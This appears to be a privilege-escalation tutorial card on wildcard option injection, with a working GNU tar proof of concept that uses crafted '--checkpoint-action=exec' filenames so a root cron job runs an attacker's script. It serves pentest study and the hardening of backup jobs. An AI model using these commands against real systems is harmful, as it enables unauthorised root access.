Turn wildcard-expanded filenames into privileged command options
Needs: Control of expanded filenames; compatible option parsing and argument placement; useful program feature and privileged trigger
Shell commands
# Baseline
grep -RniE 'tar .+\*|chown .+\*|chmod .+\*|rsync .+\*' \
/etc/cron* /etc/systemd /opt /usr/local 2>/dev/null
* in an attacker-writable directory
GNU tar proof, only when a privileged job executes compatible
tar ... *in an attacker-writable directory:
# * in an attacker-writable directory
printf '#!/bin/sh\n/usr/bin/id > /tmp/wildcard-proof\n' > proof.sh
chmod 700 proof.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh proof.sh'
Confirm working directory, wildcard placement, utility implementation/options, privileged identity and trigger. Do not assume every wildcard or utility accepts filename-derived options.
Verify → Verify the utility's actual triggered effect and its identity, not merely that special filenames exist.
If it fails → A different utility build, -- separator, changed directory or absent glob can disprove this path. More detail ↓
Explanation & examples
Turn wildcard-expanded filenames into privileged command options
- USE WHEN
- A privileged job passes an uncontrolled directory glob to an option-parsing utility
- STARTING ACCESS
- A verified Linux foothold with a known effective UID, groups and filesystem context
- RESULT
- A verified unintended privileged utility operation
Recognize the clue
Read the exact privileged command line and inspect the directory over which its shell glob expands.
cat /PATH/TO/REVIEWED_JOB_SCRIPT
ls -la /PATH/TO/JOB_DIRECTORY
namei -l /PATH/TO/JOB_DIRECTORY
Job command: tar ... *
Working directory: /CONTROLLED_DIRECTORY
Caller: rootMeans: Controlled filenames may become utility arguments after glob expansion; the exact utility and option ordering decide the method.
Confirm: Inspect the exact privileged command: confirm that a wildcard expands attacker-controlled names into option positions and that the utility interprets those options. A writable directory without that command/trigger does not enable this route.
- After validation
- The actual invocation accepts the useful injected option and privileged effect is verified: select that mechanism.
- Ruled out in this context
- The job uses -- before expanded filenames or no compatible glob: reject that option-injection route.
- Still inconclusive
- A wildcard-looking string without execution/working-directory evidence is only a candidate.
Troubleshooting: A different utility build, -- separator, changed directory or absent glob can disprove this path.
Additional prerequisite checks
namei -l /PATH/TO/JOB_DIRECTORY
ls -la /PATH/TO/JOB_DIRECTORY
GNU tar proof, only when a privileged job executes compatible tar ... * in an attacker-writable directory:
Confirm working directory, wildcard placement, utility implementation/options, privileged identity and trigger. Do not assume every wildcard or utility accepts filename-derived options.
Why it works
Shell glob expansion produces arguments before the program parses options. A filename that becomes an option is useful only for a utility/mode that honors it; -- or fixed argument handling can stop the chain.
Worked example · hypothetical
Observation: a backup job calls tar on an uncontrolled wildcard. Test: inspect exact command ordering and supported tar options. Illustrative output: controlled filenames select the documented checkpoint action when the job runs. Interpretation: option injection is confirmed.
New identity, privilege, host or route? Re-enumerate → All topic tasks →